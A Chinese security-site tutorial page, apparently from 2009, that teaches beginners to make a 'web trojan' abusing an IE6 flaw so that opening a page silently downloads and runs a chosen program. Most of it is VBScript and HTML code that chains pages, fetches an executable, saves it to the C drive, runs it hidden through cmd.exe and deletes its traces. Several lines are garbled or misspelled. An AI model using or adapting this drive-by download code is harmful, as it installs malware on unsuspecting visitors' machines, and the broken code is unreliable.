当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 网页木马制作讲解(菜鸟版本)

安全基础
在Win2000中预防Ping攻击
管理点对点的Windows网络
防范木马和黑客 保护QQ安全
浅谈黑客入侵的4条途径
十大入侵检测系统高风险事件及其处置对策
打造Win2K服务器的安全盾牌
利用交换机防范蠕虫病毒的入侵
冲浪DDoS攻击的趋势与防御
防DDoS攻击11招
无线网络安全五戒
无线网络,你的数据安全吗?
为什么应该更重视无线网络安全性
Windows XP无线网络安全精解
最大限度保护无线网络安全的六项措施
企业的无线安全问题
无线局域网安全攻略
WLAN安全吗?
WLAN的10大安全“秘笈”
保护WLAN中的数据
无线局域网的安全困惑

安全基础 中的 网页木马制作讲解(菜鸟版本)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 64 ::
收藏到网摘: n/a

 我们经常听到这样的忠告:“不要随意下在不明的程序,不要随意打开邮件的附件...”这样的忠告确实是有用的,不过我们的系统有不少漏洞,许多木马已经不需要客户端和服务端了,他们利用这些系统漏洞按照被系统认为合法的代码执行木马的功能,有的木马会在你完全不知道的情况下潜入,现在我来讲解下通过IE6的漏洞实现访问网页后神不知鬼不觉的下在并执行指定程序的例子,也就是网页木马.

首先我们需要编写几个简单的文件

一、名字为abc.abc的文件


<html>
<script language="vbscript">
Function HttpDoGet(url)
   set oReq = CreateObject("Microsoft.XMLHTTP")
   oReq.open "GET",url,false
   oReq.send
   If oReq.status=200 then
          HttpDoGet=oReq.respomseBody
          Savefile HttpDoGet,"c:\win.exe"
   End If
   Set oReq=nothing
End Function
sub SaveFile(str.fName)
   Set objStream = CreateObject("ADODB.Stream")
   objStream.Type =1
   objStream.Open
   objStream.write str
   objStream.SaveToFile fName.2
   objStream.Close()
   set objStream = nothing
   exewin()
End sub
Sub exewin()
   set wshshell=createobject ("wscript.shell" )
   a=wshshell.run ("cmd.exe /c c:\win.exe",0)
   b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
   window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>

其中test.exe为木马程序,实现必须放在WEB发布的目录下,文件abc.abc也必须保存在发布的目录下。

二、名字为test.htm的文件

<html><body>
木马运行测试!(这句话可以改成你想说的)
<object date="http://127.0.0.1/win.test";;;></object>
</body></html>

三、名字为win.test的文件


<html>
<body>
<script language="vbscript">
Function HttpDoGet(url)
   set oReq = CreateObject("Microsoft.XMLHTTP")
   oReq.open "GET",url,false
   oReq.send
   If oReq.status=200 then
          HttpDoGet,"c:\win.hta"
          Set oReq=nothing
   End if
end function
sub SaveFile(str,fName)
   Dim fso, tf
   S e t    f s o    =    C r e a t e O b j e c t(Scripting.FileSystemObject")
   Set tf = fso.CreateTextfile(fName,True)
   tf.Write str
   tf.Close
   exewin()
End sub
Sub exewin()
   set wshshell=createobject ("wscript.shell" )
   a=wshshell.run ("cmd.exe /c c:\win.hat",0)
   window.close
End Sub
HttpDoGet("http://127.0.0.1/abc.abc")
</script>
</body>
</html>